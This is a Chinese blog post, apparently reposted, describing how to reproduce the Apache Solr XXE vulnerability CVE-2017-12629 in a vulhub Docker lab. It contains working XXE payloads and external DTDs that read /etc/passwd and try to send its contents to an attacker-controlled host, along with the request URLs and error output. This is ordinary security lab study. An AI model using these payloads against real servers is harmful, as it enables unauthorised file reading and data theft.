首页 > 其他 > 详细

docker/docker-compose 复现CVE

时间:2020-05-19 00:31:10      阅读:103      评论:0      收藏:0      [点我收藏+]

复现基于:

? docker : https://www.docker.com/
? vulhub : https://vulhub.org/

01 docker 安装 & docker-compose 安装

教程地址:
vulhub
详细:这个里面安装docker-compose方法挺好的

02 开始前的准备

1.获取vulhub

git clone https://github.com/vulhub/vulhub.git
或者直接从仓库克隆镜像

2.获取环境并运行

选择一个要复现的CVE,切换到该目录,查看其中的文档教程
获取并启动容器:docker-compose up -d
建议在管理员身份执行,不然可能会报错 No module named ssl_match_hostname

3.启动后,访问http://your-ip:port即可(文档中提供了端口port)也可以直接输入127.0.0.1:port

03 实例(持续更新)

0x01:Apache solr XML 实体注入漏洞(CVE-2017-12629)

参考文章:
1.从Blind XXE漏洞到读取Root文件的系统提权
2.vulhub文档

环境:

名称 IP
靶机 192.168.230.132
攻击机 192.168.230.133

原理:大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

环境自身已经帮我们创建了一个demo的core,自己创建的话会出问题,显示少了一些配置文件,所以直接利用这个demo
漏洞处在:http://192.168.230.132:8983/solr/demo/select?q=YouAreHacked&wt=xml&defType=xmlparser这个接口,调用接口的具体页面应该是在这里 http://192.168.230.132:8983/solr/#/demo/query
技术分享图片

由于已知是XXE,那么首先测试一下会不会是简单直接的有回显的XXE
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE easy [  
<!ENTITY file SYSTEM "file:///etc/passwd"> ]> 
<easy>&file;</easy>

很遗憾,失败了,并不会直接出现在页面上
报错:

No QueryObjectBuilder defined for node easy in {q=<?xml+version%3D"1.0"+encoding%3D"utf-8"?>+%0a<!DOCTYPE+easy+[++%0a<!ENTITY+file+SYSTEM+"file:///etc/passwd">+]>+%0a<easy>%26file;</easy>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

那就复杂一点的:
首先测试一下是否对DTD和外部实体进行禁用处理:
payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/getmsg.php?msg=test">
%remote;]>
<root/>

//注意:上述的 remote 实体调用的是自己搭建的用于接收接收信息的页面,确定靶机是否访问了外网,便于后续引用外部实体

//注意还有一点,上述payload需要URL编码,否则会报错

于是访问页面 http://192.168.230.132:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//192.168.230.133/wordpress/msg/getmsg.php%3Fmsg%3Dtest%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser

查看攻击机上的记录:
技术分享图片
很明显访问了外网

第一种,有回显的XXE:
payload:

<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://192.168.230.133/wordpress/msg/test.dtd">
%ext;
%ent;
]>
<r>&data;</r>

攻击机(远程主机)上的外部实体 test.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % ent "<!ENTITY data SYSTEM ‘:%file;‘>">

技术分享图片

第二种:既然能访问外网,那么能不能将数据外带呢?----无回显的XXE
payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/test2.dtd">
%remote;
%int;
%send;
]>
<root/>
``

攻击机(远程主机)上的外部实体 `test2.dtd`
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % int "<!ENTITY &#37; send SYSTEM ‘http://192.168.230.133/wordpress/msg/getmsg.php?msg=%file;‘>">

很遗憾,又失败了。这是为什么?PHP上是可以执行的,为什么JAVA版的就不行呢?

最终报错:

问题经过测试 出现在 %file;处,改成其他字符而不是引用实体的话没任何问题,唯独 %file; 不行。我心态崩了呀!

更改 %file;为‘aaa2‘的话,出现报错为:

org.apache.solr.search.SyntaxError: No QueryObjectBuilder defined for node root in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

但是会发送数据,即执行 <!ENTITY % send SYSTEM ‘http://192.168.230.133/wordpress/msg/getmsg.php?msg=aaa2‘>
技术分享图片

0x02Apache Solr 远程命令执行漏洞(CVE-2017-12629)

docker/docker-compose 复现CVE

原文:https://www.cnblogs.com/wjrblogs/p/12274439.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!